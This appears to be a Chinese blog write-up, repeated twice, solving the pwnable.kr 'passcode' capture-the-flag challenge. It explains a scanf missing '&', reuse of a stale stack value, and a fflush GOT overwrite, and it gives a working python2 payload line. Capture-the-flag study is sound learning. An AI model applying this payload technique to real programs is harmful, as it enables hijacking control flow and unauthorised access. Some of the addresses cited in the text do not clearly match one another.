本文记录了 pwnable.kr 中 Passcode 题目的解题过程。核心漏洞在于 scanf 缺少 & 符且变量未初始化,结合 welcome 与 login 函数调用时的栈帧重用特性 ,攻击者通过在 name 数组中输入 96 字节进行填充,精准将 passcode1 的内存内容覆盖为 fflush 的 GOT 表地址。随后,利用 scanf 将包含 system("/bin/cat flag") 的目标指令地址(需转换为十进制整数)写入该 GOT 表 。当程序随后调用 fflush 时,控制流被成功劫持,顺利输出 flag。 本文记录了 pwnable.kr 中 Passcode 题目的解题过程。核心漏洞在于 scanf 缺少 & 符且变量未初始化,结合 welcome 与 login 函数调用时的栈帧重用特性 ,攻击者通过在 name 数组中输入 96 字节进行填充,精准将 passcode1 的内存内容覆盖为 fflush 的 GOT 表地址。随后,利用 scanf 将包含 system("/bin/cat flag") 的目标指令地址(需转换为十进制整数)写入该 GOT 表 。当程序随后调用 fflush 时,控制流被成功劫持,顺利输出 flag。

Passcode

ssh passcode@pwnable.kr -p2222

连接以后有三个文件,我们查看passcode.c

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==123456 && passcode2==13371337){
                printf("Login OK!\n");
                setregid(getegid(), getegid());
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.1 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

看完代码,我尝试passcode1==123456 && passcode2==13371337。很显然不对。

我们查看scanf函数man scanf()发现第二个参数要是地址,但是这里给的是值,并且没有给passcode1\2初始化。

welcome函数,能够输入100个字符。这跟上一个很像。所以我们尝试一下gdb。

image

发现这两个函数是相继调用。这可能会有welcome中的name栈溢出。

我们在welcome和login处打下断电并运行一下函数,并输入100个字符看看

image

可以看到数据存储在ebp - 0x70处

image

我们会发现这里已经被覆盖了。说明存在栈溢出,以及栈重用。

溢出多少呢?

可以看到passcode1的地址是ebp - 0x10

’ebp-0x70‘ - ‘ebp-0x10’ = 96

也就是是说,name字段填写96个字符后,后面四个字符会覆盖passcode1的地址。

然后,在login函数中,第一个scanf读取passcode1时,由于缺少&,它会把passcode1的值(即我们通过name数组写入的地址)作为目标地址,并将我们输入的数字写入该地址。

所以引入GOT表,我们把passcode1输入写到fflush(stdin)的GOT表,当执行fflush(stdin)时就会去GOT表相应的地址,执行代码。

所以攻击思路:

image

观察代码可知,先调用setregid才能cat出flag

初步payload

python2 -c "print 'A'*96 + [fflush@GOT]\n[setregid]\n[any]" > /tmp/test

使用objdump -R passcode查看GOT表

image

objdump -d passcode反汇编函数

image

我们要从lea导入时开始,因为lea是在准备下面函数的参数(08049292)

最终payload:

python2 -c "print 'A'*96+'\x14\xc0\x04\x08\n''134517406\n''32\n'" > /tmp/testing

echo $((0x80492a1))可以利用这个计算十六进制

image
This post has not been translated to English yet.

Passcode

ssh passcode@pwnable.kr -p2222

连接以后有三个文件,我们查看passcode.c

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==123456 && passcode2==13371337){
                printf("Login OK!\n");
                setregid(getegid(), getegid());
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.1 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

看完代码,我尝试passcode1==123456 && passcode2==13371337。很显然不对。

我们查看scanf函数man scanf()发现第二个参数要是地址,但是这里给的是值,并且没有给passcode1\2初始化。

welcome函数,能够输入100个字符。这跟上一个很像。所以我们尝试一下gdb。

image

发现这两个函数是相继调用。这可能会有welcome中的name栈溢出。

我们在welcome和login处打下断电并运行一下函数,并输入100个字符看看

image

可以看到数据存储在ebp - 0x70处

image

我们会发现这里已经被覆盖了。说明存在栈溢出,以及栈重用。

溢出多少呢?

可以看到passcode1的地址是ebp - 0x10

’ebp-0x70‘ - ‘ebp-0x10’ = 96

也就是是说,name字段填写96个字符后,后面四个字符会覆盖passcode1的地址。

然后,在login函数中,第一个scanf读取passcode1时,由于缺少&,它会把passcode1的值(即我们通过name数组写入的地址)作为目标地址,并将我们输入的数字写入该地址。

所以引入GOT表,我们把passcode1输入写到fflush(stdin)的GOT表,当执行fflush(stdin)时就会去GOT表相应的地址,执行代码。

所以攻击思路:

image

观察代码可知,先调用setregid才能cat出flag

初步payload

python2 -c "print 'A'*96 + [fflush@GOT]\n[setregid]\n[any]" > /tmp/test

使用objdump -R passcode查看GOT表

image

objdump -d passcode反汇编函数

image

我们要从lea导入时开始,因为lea是在准备下面函数的参数(08049292)

最终payload:

python2 -c "print 'A'*96+'\x14\xc0\x04\x08\n''134517406\n''32\n'" > /tmp/testing

echo $((0x80492a1))可以利用这个计算十六进制

image